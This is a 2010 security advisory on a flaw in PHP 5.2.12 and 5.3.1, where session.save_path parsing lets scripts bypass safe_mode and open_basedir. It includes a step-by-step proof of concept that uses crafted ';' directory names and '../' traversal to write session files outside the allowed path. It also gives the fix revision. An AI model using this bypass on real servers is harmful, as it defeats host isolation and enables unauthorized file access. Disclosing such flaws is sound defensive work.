[ PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass ] Credit: Grzegorz Stachowiak Provided by: SecurityReason.com Date: - Written: 31.01.2010 - Public: 11.02.2010 SecurityRisk: Medium Affected Software: PHP 5.2.12 PHP 5.3.1 Advisory URL: http://securityreason.com/achievement_securityalert/82 Vendor: http://www.php.net --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. A visitor accessing your web site is assigned a unique id, the so-called session id. This is either stored in a cookie on the user side or is propagated in the URL. session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created. Defaults to /tmp. See also session_save_path(). There is an optional N argument to this directive that determines the number of directory levels your session files will be spread around in. For example, setting to '5;/tmp' may end up creating a session file and location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If . In order to use N you must create all of these directories before use. A small shell script exists in ext/session to do this, it's called mod_files.sh. Also note that if N is used and greater than 0 then automatic garbage collection will not be performed, see a copy of php.ini for further information. Also, if you use N, be sure to surround session.save_path in "quotes" because the separator (;) is also used for comments in php.ini. ---- 1. session.save_path safe mode and open basedir bypass --- session.save_path can be set via ini_set(), session_save_path() functions. In session.save_path there should be path where you will save yours tmp files. But syntax for session.save_path is: [/PATH] OR [N;/PATH] N - can be also a string (N should be numeric). EXAMPLES: 1. session_save_path("/DIR/WHERE/YOU/HAVE/ACCESS") 2. session_save_path("5;/DIR/WHERE/YOU/HAVE/ACCESS") The main problem came when we use multiple ';' character and when we will create fake directory structure to reduce '../'. Proof of Concept: 0. Create directories: /humhum and /byp 1. set open_basedir = /byp 2. create test.php { session_save_path("/humhum"); session_start(); } 3. php test.php Warning: session_save_path(): open_basedir restriction in effect. File(/humhum) is not within the allowed path(s): (/byp) in /byp/test.php on line 3 4. subdir.php { mkdir("puf"); mkdir(";a"); } 5. php subdir.php 6. cd puf 7. create byp.php { session_save_path(";;/byp/;a/../../humhum"); session_start(); } 8. php byp.php 9. ls /humhum sess_d905eb71c9ad65ce2a845cdb0fed3016 The main problem is located in session.c. PHP doesn't check, that we have used next ';' after first. Creating fake directory structure mkdir ';a' mkdir '../;a' we can reduce directory level using '../' . --- 2. Fix --- Revision 294272 http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/session/session.c?view=log http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/session/session.c?view=log --- 3. Credit --- Founded by: Grzegorz Stachowiak Written by: Maksymilian Arciemowicz Fixed by : Ilia Alshanetsky --- 4. Contact --- Email: - Grzegorz.Stachowiak stachowiak [a,t} analogicode (d_0t} pl - Maksymilian Arciemowicz cxib {a.t] securityreason [d0_t} com GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://securityreason.com/exploit_alert/ - Exploit Database http://securityreason.com/security_alert/ - Vulnerability Database